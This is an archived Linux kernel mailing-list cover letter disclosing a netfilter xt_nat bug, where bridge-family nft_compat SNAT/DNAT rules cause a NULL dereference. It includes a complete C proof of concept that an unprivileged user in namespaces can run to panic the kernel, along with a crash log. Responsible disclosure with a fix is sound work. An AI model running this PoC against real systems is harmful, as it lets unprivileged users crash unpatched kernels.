All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref
@ 2026-06-13 10:27 Ren Wei
  2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
  0 siblings, 1 reply; 7+ messages in thread
From: Ren Wei @ 2026-06-13 10:27 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, kaber, yuantan098, yifanwucs, tomapufckgml,
	zcliangcn, bird, bronzed_45_vested, n05ec

From: Wyatt Feng <bronzed_45_vested@icloud.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/xt_nat.c.
The bug is reachable by an unprivileged user using private namespaces.
The relevant details are provided below.

---- details below ----

Bug details:

The bug is in `net/netfilter/xt_nat.c`, in the rev1/rev2
`SNAT`/`DNAT` xtables targets.

These targets are registered without a family restriction, so
`nft_compat` can resolve them from a bridge-family chain via the
existing `NFPROTO_UNSPEC` xtables fallback. However,
`xt_nat_checkentry()` accepts `NFPROTO_BRIDGE`, while the runtime target
handlers assume IP-family conntrack state is present.

When such a bridge-family compat rule is evaluated on traffic without an
attached conntrack entry, `nf_ct_get()` returns `NULL`.
`xt_snat_target_v1()`/`xt_dnat_target_v1()` and
`xt_snat_target_v2()`/`xt_dnat_target_v2()` then proceed to
`nf_nat_setup_info(ct, ...)`, which dereferences the NULL `ct` and
causes a kernel NULL-dereference and panic.

Reproducer:

gcc -O2 -Wall -Wextra mini_poc.c $(pkg-config --cflags --libs libmnl) -o mini_poc
unshare -Urn ./mini_poc


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN mini_poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_nat.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define BUF_SIZE 4096

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static int run_cmd(bool allow_fail, const char *fmt, ...)
{
	char cmd[512];
	va_list ap;
	int ret;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	ret = system(cmd);
	if (ret != 0 && !allow_fail) {
		fprintf(stderr, "command failed: %s\n", cmd);
		exit(EXIT_FAILURE);
	}

	return ret;
}

static void cleanup(void)
{
	run_cmd(true, "nft delete table bridge nat >/dev/null 2>&1");
	run_cmd(true, "ip link del br0 >/dev/null 2>&1");
	run_cmd(true, "ip link del veth0 >/dev/null 2>&1");
	run_cmd(true, "ip link del veth1 >/dev/null 2>&1");
}

static uint32_t nf_tables_genid(void)
{
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	struct nfgenmsg *nfg;
	uint32_t genid = 0;
	int ret;

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (!nl)
		die("mnl_socket_open");

	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
		die("mnl_socket_bind");

	nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETGEN;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = 1;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(0);

	ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len);
	if (ret < 0)
		die("mnl_socket_sendto(GETGEN)");

	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	if (ret < 0)
		die("mnl_socket_recvfrom(GETGEN)");

	for (nlh = (struct nlmsghdr *)buf; mnl_nlmsg_ok(nlh, ret);
	     nlh = mnl_nlmsg_next(nlh, &ret)) {
		struct nlattr *attr;

		if (nlh->nlmsg_type != ((NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWGEN))
			continue;

		mnl_attr_for_each(attr, nlh, sizeof(*nfg)) {
			if (mnl_attr_get_type(attr) == NFTA_GEN_ID) {
				genid = ntohl(mnl_attr_get_u32(attr));
				break;
			}
		}
		if (genid)
			break;
	}

	mnl_socket_close(nl);

	if (!genid) {
		errno = EPROTO;
		die("GETGEN missing genid");
	}

	return genid;
}

static void put_nla_u32_be(struct nlmsghdr *nlh, uint16_t type, uint32_t v)
{
	mnl_attr_put_u32(nlh, type, htonl(v));
}

static void put_batch_begin(struct nlmsghdr *nlh, uint32_t seq, uint32_t genid)
{
	struct nfgenmsg *nfg;

	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_pid = 0;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);

	put_nla_u32_be(nlh, NFNL_BATCH_GENID, genid);
}

static void put_batch_end(struct nlmsghdr *nlh, uint32_t seq)
{
	struct nfgenmsg *nfg;

	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = NFNL_MSG_BATCH_END;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_pid = 0;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
}

static void build_rule_msg(struct nlmsghdr *nlh)
{
	struct nfgenmsg *nfg;
	struct nlattr *exprs;
	struct nlattr *elem;
	struct nlattr *expr_data;
	struct nf_nat_range info = {
		.flags = NF_NAT_RANGE_MAP_IPS,
		.min_addr.ip = htonl(0x01020304),
		.max_addr.ip = htonl(0x01020304),
	};

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_BRIDGE;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = 0;

	mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, "nat");
	mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, "postrouting");

	exprs = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS);
	elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
	mnl_attr_put_strz(nlh, NFTA_EXPR_NAME, "target");

	expr_data = mnl_attr_nest_start(nlh, NFTA_EXPR_DATA);
	mnl_attr_put_strz(nlh, NFTA_TARGET_NAME, "SNAT");
	put_nla_u32_be(nlh, NFTA_TARGET_REV, 1);
	mnl_attr_put(nlh, NFTA_TARGET_INFO, sizeof(info), &info);
	mnl_attr_nest_end(nlh, expr_data);

	mnl_attr_nest_end(nlh, elem);
	mnl_attr_nest_end(nlh, exprs);
}

static void install_rule(void)
{
	struct mnl_socket *nl;
	char buf[BUF_SIZE];
	char reply[BUF_SIZE];
	struct nlmsghdr *nlh;
	uint32_t genid;
	size_t len;
	int ret;

	memset(buf, 0, sizeof(buf));
	genid = nf_tables_genid();

	nlh = (struct nlmsghdr *)buf;
	put_batch_begin(nlh, 1, genid);
	len = NLMSG_ALIGN(nlh->nlmsg_len);

	nlh = (struct nlmsghdr *)(buf + len);
	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK;
	nlh->nlmsg_seq = 2;
	nlh->nlmsg_pid = 0;
	build_rule_msg(nlh);
	len += NLMSG_ALIGN(nlh->nlmsg_len);

	nlh = (struct nlmsghdr *)(buf + len);
	put_batch_end(nlh, 3);
	len += NLMSG_ALIGN(nlh->nlmsg_len);

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (!nl)
		die("mnl_socket_open");

	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
		die("mnl_socket_bind");

	ret = mnl_socket_sendto(nl, buf, len);
	if (ret < 0)
		die("mnl_socket_sendto(rule)");

	ret = mnl_socket_recvfrom(nl, reply, sizeof(reply));
	if (ret > 0)
		ret = mnl_cb_run(reply, ret, 2, mnl_socket_get_portid(nl), NULL, NULL);
	if (ret < 0)
		die("mnl_cb_run(rule)");

	mnl_socket_close(nl);
}

static void send_trigger_frames(void)
{
	unsigned char frame[60];
	struct sockaddr_ll sll;
	struct ifreq ifr;
	struct timespec ts = { .tv_sec = 0, .tv_nsec = 20 * 1000 * 1000 };
	int fd;
	int i;

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die("socket(AF_PACKET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "veth0p");
	memset(&sll, 0, sizeof(sll));

	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("ioctl(SIOCGIFINDEX)");
	sll.sll_ifindex = ifr.ifr_ifindex;

	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die("ioctl(SIOCGIFHWADDR)");

	memset(frame, 'A', sizeof(frame));
	memset(frame, 0xff, 6);
	memcpy(frame + 6, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	frame[12] = 0x88;
	frame[13] = 0xb5;

	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_halen = ETH_ALEN;
	memset(sll.sll_addr, 0xff, ETH_ALEN);

	for (i = 0; i < 32; i++) {
		if (sendto(fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die("sendto");
		nanosleep(&ts, NULL);
	}

	close(fd);
}

int main(void)
{
	atexit(cleanup);

	cleanup();
	run_cmd(false, "nft add table bridge nat");
	run_cmd(false, "nft add chain bridge nat postrouting "
		      "'{ type filter hook postrouting priority 300; policy accept; }'");
	install_rule();

	run_cmd(false, "ip link add br0 type bridge");
	run_cmd(false, "ip link set br0 up");
	run_cmd(false, "ip link add veth0 type veth peer name veth0p");
	run_cmd(false, "ip link add veth1 type veth peer name veth1p");
	run_cmd(false, "ip link set veth0 master br0");
	run_cmd(false, "ip link set veth1 master br0");
	run_cmd(false, "ip link set veth0 up");
	run_cmd(false, "ip link set veth1 up");
	run_cmd(false, "ip link set veth0p up");
	run_cmd(false, "ip link set veth1p up");

	usleep(200000);
	send_trigger_frames();
	sleep(1);
	return 0;
}


------END mini_poc.c--------

----BEGIN crash log----

[  174.769777][   T11] ------------[ cut here ]------------
[  174.770980][   T11] !(ct != NULL && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || ctinfo == IP_CT_RELATED_REPLY))
[  174.771001][   T11] WARNING: net/netfilter/xt_nat.c:93 at xt_snat_target_v1+0x115/0x1b0, CPU#0: kworker/0:1/11
[  174.804089][   T11]  nft_do_chain_bridge+0x246/0xfa0
[  174.845653][   T11]  mld_sendpack+0x8f7/0xec0
[  174.847675][   T11]  mld_ifc_work+0x75a/0xc10
[  174.865335][   T11] ---[ end trace 0000000000000000 ]---
[  174.867747][   T11] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000019: 0000 [#1] SMP KASAN NOPTI
[  174.868849][   T11] KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
[  174.878439][   T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[  174.903767][   T11]  ? xt_snat_target_v1+0x115/0x1b0
[  174.916037][   T11]  xt_snat_target_v1+0x14b/0x1b0
[  174.924669][   T11]  nft_target_eval_bridge+0x1c1/0x320
[  174.931246][   T11]  nft_do_chain+0x2e5/0x1990
[  174.998163][   T11]  ip6_finish_output2+0xfd4/0x1ce0
[  175.004839][   T11]  ? NF_HOOK.constprop.0+0x277/0x5a0
[  175.014886][   T11]  mld_sendpack+0x8f7/0xec0
[  175.018164][   T11]  mld_ifc_work+0x75a/0xc10
[  175.042339][   T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[  175.058662][   T11] Kernel panic - not syncing: Fatal exception in interrupt


-----END crash log-----

Best regards,
Wyatt Feng


Wyatt Feng (1):
  netfilter: xt_nat: reject unsupported target families

 net/netfilter/xt_nat.c | 9 +++++++++
 1 file changed, 9 insertions(+)

-- 
2.47.3


^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2026-06-14  9:44 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-13 10:27 [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref Ren Wei
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
2026-06-13 21:31   ` Florian Westphal
2026-06-13 22:00     ` Florian Westphal
2026-06-13 22:15       ` Pablo Neira Ayuso
2026-06-13 22:25         ` Florian Westphal
2026-06-14  9:43           ` Pablo Neira Ayuso

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.